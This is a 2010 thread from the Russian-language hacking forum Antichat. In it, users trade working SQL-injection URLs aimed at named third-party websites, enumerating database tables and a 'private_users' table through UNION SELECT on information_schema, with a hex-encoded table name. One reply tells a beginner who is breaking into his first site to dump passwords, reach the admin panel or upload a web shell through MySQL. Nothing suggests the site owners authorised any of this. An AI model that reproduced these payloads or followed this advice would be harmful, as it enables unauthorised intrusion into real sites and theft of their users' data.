ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
04.03.2010, 09:53
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Да, не хватает. А обычные гифки тоже не грузятся?
|
|
|
04.03.2010, 13:08
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418
Репутация:
386
|
|
http://ukr-link.com/index.php?idd=catalog&group=142'
мож кто попробует вывести или еще что ?
|
|
|
|
04.03.2010, 18:01
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893
Репутация:
2163
|
|
Сообщение от warlok
мож кто попробует вывести или еще что ?
http://ukr-link.com/index.php?idd=search&stext=auto')union(select'1',2 ,table_name,(4)from(information_schema.tables))%23
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|
|
04.03.2010, 14:13
|
|
Познающий
Регистрация: 17.02.2010
Сообщений: 64
Провел на форуме:
132243
Репутация:
1
|
|
начал ломать свой первый сайт) обнаружил пути, даже файл с подключением к БД (конфиги) а что дальше?(
|
|
|
|
04.03.2010, 14:54
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404
Репутация:
564
|
|
Сообщение от AtomoS
начал ломать свой первый сайт) обнаружил пути, даже файл с подключением к БД (конфиги) а что дальше?(
подключится к БД и сдампить/вытащить пароли и попробовать к админке сайта или через mysql залить шелл и юзать полноценный шелл ....
P.S Зачем ломал то если не знаеш что делать дальше ? ))
Последний раз редактировалось shell_c0de; 04.03.2010 в 16:21..
|
|
|
|
05.03.2010, 00:36
|
|
Новичок
Регистрация: 03.03.2010
Сообщений: 9
Провел на форуме:
29833
Репутация:
0
|
|
v1d0qz, спасибо за ссылку, но мне это не помогло =(
Вот я делаю запрос:
Код:
http://www.sixls.com/news.php?id=-3+union+select+1,table_name,3+from+information_schema.columns+where+table_name=%27private_users%27--
У меня кроме ошибок снизу (а они всегда были) ничего не выводится, хотя должно выводиться. Или я чтото не правильно делаю? |
|
|
|
04.03.2010, 18:33
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008
Репутация:
58
|
|
$row['id'] берется из базы.
пробовал обычную картинку - тот же еррор.
видимо файлы новые создать нельзя. а существующие он заменяет(
|
|
|
|
04.03.2010, 19:47
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Strilo4ka, нулл-байт ты не скопируешь в буфер никак!
|
|
|
|
04.03.2010, 22:10
|
|
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319
Репутация:
-16
|
|
http://www.linumechilinum.am/?include=static2&page_id=49+union+select+0
ne kak ne polucaetsya..
|
|
|
|
05.03.2010, 00:43
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062
Репутация:
1550
|
|
Код:
http://www.sixls.com/news.php?id=-3+union+select+1,column_name,3+from+information_schema.columns+where+table_name=0x707269766174655f7573657273
Хексим название таблицы и берем названия КОЛОНОК из таблицы с колонками, а не таблиц, ты их уже получил |
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
